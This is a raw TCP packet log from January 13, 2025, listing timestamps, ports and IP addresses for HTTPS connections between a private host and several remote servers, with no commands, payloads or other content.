Jan 13, 2025 21:52:48.808221102 CET	49730	443	192.168.2.6	104.18.94.41
Jan 13, 2025 21:52:48.847469091 CET	443	49730	104.18.94.41	192.168.2.6
Jan 13, 2025 21:52:48.850347996 CET	443	49730	104.18.94.41	192.168.2.6
Jan 13, 2025 21:52:48.850388050 CET	443	49730	104.18.94.41	192.168.2.6
Jan 13, 2025 21:52:48.850406885 CET	49730	443	192.168.2.6	104.18.94.41
Jan 13, 2025 21:52:48.850428104 CET	443	49730	104.18.94.41	192.168.2.6
Jan 13, 2025 21:52:48.850465059 CET	443	49730	104.18.94.41	192.168.2.6
Jan 13, 2025 21:52:48.850497007 CET	443	49730	104.18.94.41	192.168.2.6
Jan 13, 2025 21:52:48.850512028 CET	49730	443	192.168.2.6	104.18.94.41
Jan 13, 2025 21:52:48.850521088 CET	443	49730	104.18.94.41	192.168.2.6
Jan 13, 2025 21:52:48.850543976 CET	49730	443	192.168.2.6	104.18.94.41
Jan 13, 2025 21:52:48.851078033 CET	443	49730	104.18.94.41	192.168.2.6
Jan 13, 2025 21:52:48.851114988 CET	443	49730	104.18.94.41	192.168.2.6
Jan 13, 2025 21:52:48.851135969 CET	49730	443	192.168.2.6	104.18.94.41
Jan 13, 2025 21:52:48.851145029 CET	443	49730	104.18.94.41	192.168.2.6
Jan 13, 2025 21:52:48.851326942 CET	49730	443	192.168.2.6	104.18.94.41
Jan 13, 2025 21:52:48.851335049 CET	443	49730	104.18.94.41	192.168.2.6
Jan 13, 2025 21:52:48.851819038 CET	443	49730	104.18.94.41	192.168.2.6
Jan 13, 2025 21:52:48.851855040 CET	443	49730	104.18.94.41	192.168.2.6
Jan 13, 2025 21:52:48.851876974 CET	49730	443	192.168.2.6	104.18.94.41
Jan 13, 2025 21:52:48.851883888 CET	443	49730	104.18.94.41	192.168.2.6
Jan 13, 2025 21:52:48.851980925 CET	49730	443	192.168.2.6	104.18.94.41
Jan 13, 2025 21:52:48.852451086 CET	443	49730	104.18.94.41	192.168.2.6
Jan 13, 2025 21:52:48.852509975 CET	443	49730	104.18.94.41	192.168.2.6
Jan 13, 2025 21:52:48.852549076 CET	443	49730	104.18.94.41	192.168.2.6
Jan 13, 2025 21:52:48.852590084 CET	49730	443	192.168.2.6	104.18.94.41
Jan 13, 2025 21:52:48.852600098 CET	443	49730	104.18.94.41	192.168.2.6
Jan 13, 2025 21:52:48.852642059 CET	49730	443	192.168.2.6	104.18.94.41
Jan 13, 2025 21:52:48.853204012 CET	443	49730	104.18.94.41	192.168.2.6
Jan 13, 2025 21:52:48.853276968 CET	443	49730	104.18.94.41	192.168.2.6
Jan 13, 2025 21:52:48.853390932 CET	49730	443	192.168.2.6	104.18.94.41
Jan 13, 2025 21:52:48.853399992 CET	443	49730	104.18.94.41	192.168.2.6
Jan 13, 2025 21:52:48.902160883 CET	49730	443	192.168.2.6	104.18.94.41
Jan 13, 2025 21:52:48.936332941 CET	443	49730	104.18.94.41	192.168.2.6
Jan 13, 2025 21:52:48.936419964 CET	443	49730	104.18.94.41	192.168.2.6
Jan 13, 2025 21:52:48.936467886 CET	49730	443	192.168.2.6	104.18.94.41
Jan 13, 2025 21:52:48.936486006 CET	443	49730	104.18.94.41	192.168.2.6
Jan 13, 2025 21:52:48.936522961 CET	443	49730	104.18.94.41	192.168.2.6
Jan 13, 2025 21:52:48.936566114 CET	49730	443	192.168.2.6	104.18.94.41
Jan 13, 2025 21:52:48.937035084 CET	49730	443	192.168.2.6	104.18.94.41
Jan 13, 2025 21:52:48.937055111 CET	443	49730	104.18.94.41	192.168.2.6
Jan 13, 2025 21:52:49.018834114 CET	49736	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:49.018870115 CET	443	49736	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.018969059 CET	49736	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:49.024235964 CET	49736	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:49.024254084 CET	443	49736	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.095392942 CET	49737	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:49.095455885 CET	443	49737	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.095542908 CET	49737	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:49.096091032 CET	49737	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:49.096107006 CET	443	49737	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.477768898 CET	443	49736	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.478081942 CET	49736	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:49.478091955 CET	443	49736	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.479518890 CET	443	49736	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.480551004 CET	49736	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:49.480551004 CET	49736	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:49.480664968 CET	443	49736	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.480778933 CET	49736	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:49.526382923 CET	49736	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:49.526387930 CET	443	49736	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.573524952 CET	443	49737	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.574125051 CET	49737	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:49.574193001 CET	443	49737	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.574405909 CET	49736	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:49.577768087 CET	443	49737	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.577949047 CET	49737	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:49.578676939 CET	49737	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:49.578860044 CET	49737	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:49.578871012 CET	443	49737	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.615437984 CET	443	49736	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.615567923 CET	443	49736	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.615632057 CET	49736	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:49.615639925 CET	443	49736	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.615717888 CET	443	49736	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.615771055 CET	49736	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:49.615782976 CET	443	49736	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.615856886 CET	443	49736	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.615905046 CET	49736	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:49.615916014 CET	443	49736	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.616270065 CET	443	49736	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.616352081 CET	443	49736	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.616430044 CET	443	49736	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.616508961 CET	49736	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:49.616514921 CET	443	49736	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.616569042 CET	49736	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:49.619846106 CET	443	49736	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.619906902 CET	49736	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:49.619923115 CET	443	49736	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.620532990 CET	49737	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:49.620580912 CET	443	49737	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.669701099 CET	49737	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:49.670330048 CET	49736	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:49.701880932 CET	443	49736	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.702080011 CET	443	49736	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.702162981 CET	443	49736	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.702331066 CET	49736	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:49.702334881 CET	443	49736	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.702363014 CET	443	49736	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.702493906 CET	443	49736	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.702539921 CET	49736	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:49.702541113 CET	49736	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:49.702553988 CET	443	49736	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.702858925 CET	443	49736	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.702936888 CET	443	49736	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.702991962 CET	443	49736	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.703036070 CET	49736	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:49.703036070 CET	49736	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:49.703043938 CET	443	49736	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.703504086 CET	443	49736	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.703591108 CET	443	49736	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.703663111 CET	49736	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:49.703669071 CET	443	49736	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.703692913 CET	443	49736	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.703816891 CET	443	49736	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.703820944 CET	49736	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:49.704380989 CET	443	49736	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.704463959 CET	443	49736	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.704508066 CET	49736	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:49.704508066 CET	49736	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:49.704516888 CET	443	49736	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.704596043 CET	443	49736	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.704670906 CET	443	49736	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.704720020 CET	49736	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:49.704734087 CET	443	49736	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.705034018 CET	443	49736	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.705204010 CET	443	49736	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.705276012 CET	49736	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:49.707427025 CET	443	49737	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.707686901 CET	443	49737	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.707746029 CET	49737	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:49.707775116 CET	443	49737	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.707803965 CET	443	49737	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.707940102 CET	443	49737	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.707998991 CET	49737	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:49.708019972 CET	443	49737	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.708065033 CET	49737	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:49.708071947 CET	443	49737	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.708147049 CET	443	49737	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.708194971 CET	49737	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:49.708201885 CET	443	49737	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.708504915 CET	49736	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:49.711896896 CET	443	49737	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.716613054 CET	49737	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:49.716646910 CET	443	49737	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.769932032 CET	49737	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:49.798516035 CET	443	49737	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.798688889 CET	443	49737	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.798779011 CET	443	49737	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.798866987 CET	443	49737	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.798959970 CET	443	49737	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.798959017 CET	49737	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:49.798995972 CET	443	49737	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.799022913 CET	49737	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:49.799043894 CET	49737	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:49.799335003 CET	443	49737	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.799494982 CET	443	49737	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.799559116 CET	49737	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:49.799567938 CET	443	49737	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.799743891 CET	443	49737	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.799813986 CET	49737	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:49.838454008 CET	49737	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:49.838500977 CET	443	49737	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:49.840269089 CET	49736	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:49.840291023 CET	443	49736	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:50.052567005 CET	49743	443	192.168.2.6	40.115.3.253
Jan 13, 2025 21:52:50.052592993 CET	443	49743	40.115.3.253	192.168.2.6
Jan 13, 2025 21:52:50.052696943 CET	49743	443	192.168.2.6	40.115.3.253
Jan 13, 2025 21:52:50.053375959 CET	49743	443	192.168.2.6	40.115.3.253
Jan 13, 2025 21:52:50.053390980 CET	443	49743	40.115.3.253	192.168.2.6
Jan 13, 2025 21:52:50.083281994 CET	49748	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:50.083311081 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:50.083374023 CET	49748	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:50.083987951 CET	49748	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:50.084006071 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:50.085671902 CET	49749	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:50.085716963 CET	443	49749	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:50.085783005 CET	49749	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:50.086117029 CET	49749	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:50.086132050 CET	443	49749	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:50.707001925 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:50.707369089 CET	49748	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:50.707389116 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:50.708519936 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:50.708946943 CET	49748	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:50.709033012 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:50.709171057 CET	49748	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:50.720834017 CET	443	49749	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:50.721060038 CET	49749	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:50.721072912 CET	443	49749	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:50.722209930 CET	443	49749	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:50.722630024 CET	49749	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:50.722752094 CET	49749	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:50.722757101 CET	443	49749	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:50.722811937 CET	443	49749	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:50.755323887 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:50.777725935 CET	49749	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:50.850517988 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:50.850558043 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:50.850584984 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:50.850617886 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:50.850636959 CET	49748	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:50.850657940 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:50.850670099 CET	49748	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:50.851155043 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:50.851203918 CET	49748	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:50.851212978 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:50.851572990 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:50.851605892 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:50.851624012 CET	49748	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:50.851630926 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:50.851697922 CET	49748	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:50.851703882 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:50.855209112 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:50.855420113 CET	49748	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:50.855432987 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:50.857862949 CET	443	49749	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:50.858021975 CET	443	49749	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:50.858082056 CET	49749	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:50.858589888 CET	49749	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:50.858607054 CET	443	49749	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:50.863833904 CET	49751	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:50.863859892 CET	443	49751	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:50.864131927 CET	49751	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:50.864427090 CET	49751	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:50.864440918 CET	443	49751	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:50.900974989 CET	49748	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:50.936928034 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:50.937206030 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:50.937262058 CET	49748	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:50.937277079 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:50.937390089 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:50.937453032 CET	49748	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:50.937462091 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:50.937552929 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:50.937606096 CET	49748	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:50.937613010 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:50.937715054 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:50.937783003 CET	49748	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:50.937789917 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:50.938349962 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:50.938410997 CET	49748	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:50.938419104 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:50.938500881 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:50.938546896 CET	49748	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:50.938554049 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:50.939137936 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:50.939224005 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:50.939273119 CET	49748	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:50.939284086 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:50.939404964 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:50.939420938 CET	49748	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:50.939428091 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:50.939465046 CET	49748	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:50.939493895 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:50.939671993 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:50.939722061 CET	49748	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:50.939728975 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:50.941739082 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:50.941792965 CET	49748	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:50.941802025 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:50.994630098 CET	49748	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:50.994652033 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.023927927 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.023988008 CET	49748	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.024005890 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.024111986 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.024157047 CET	49748	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.024166107 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.024310112 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.024328947 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.024362087 CET	49748	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.024369001 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.024384975 CET	49748	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.024422884 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.024471045 CET	49748	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.024477005 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.024549007 CET	49748	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.024554014 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.024626970 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.024671078 CET	49748	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.024677992 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.024748087 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.024807930 CET	49748	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.024813890 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.024847984 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.024959087 CET	49748	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.024970055 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.025010109 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.025012016 CET	49748	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.025038958 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.025052071 CET	49748	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.025131941 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.025173903 CET	49748	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.025182009 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.025327921 CET	49748	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.025548935 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.025610924 CET	49748	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.025650024 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.025696039 CET	49748	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.025779009 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.025823116 CET	49748	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.026052952 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.026107073 CET	49748	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.026146889 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.026196957 CET	49748	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.026256084 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.026304960 CET	49748	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.111397028 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.111449957 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.111464977 CET	49748	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.111480951 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.111505985 CET	49748	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.111509085 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.111629963 CET	49748	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.111785889 CET	49748	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.111795902 CET	443	49748	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.115047932 CET	49757	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.115068913 CET	443	49757	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.115123987 CET	49757	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.115477085 CET	49757	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.115487099 CET	443	49757	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.139144897 CET	49721	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:51.179342031 CET	443	49721	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:51.221834898 CET	443	49743	40.115.3.253	192.168.2.6
Jan 13, 2025 21:52:51.221930981 CET	49743	443	192.168.2.6	40.115.3.253
Jan 13, 2025 21:52:51.224222898 CET	49743	443	192.168.2.6	40.115.3.253
Jan 13, 2025 21:52:51.224231005 CET	443	49743	40.115.3.253	192.168.2.6
Jan 13, 2025 21:52:51.224980116 CET	443	49743	40.115.3.253	192.168.2.6
Jan 13, 2025 21:52:51.226898909 CET	49743	443	192.168.2.6	40.115.3.253
Jan 13, 2025 21:52:51.226963997 CET	49743	443	192.168.2.6	40.115.3.253
Jan 13, 2025 21:52:51.226968050 CET	443	49743	40.115.3.253	192.168.2.6
Jan 13, 2025 21:52:51.227127075 CET	49743	443	192.168.2.6	40.115.3.253
Jan 13, 2025 21:52:51.271327972 CET	443	49743	40.115.3.253	192.168.2.6
Jan 13, 2025 21:52:51.279869080 CET	49758	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.279966116 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.280142069 CET	49758	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.280512094 CET	49758	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.280546904 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.342624903 CET	443	49751	104.18.95.41	192.168.2.6
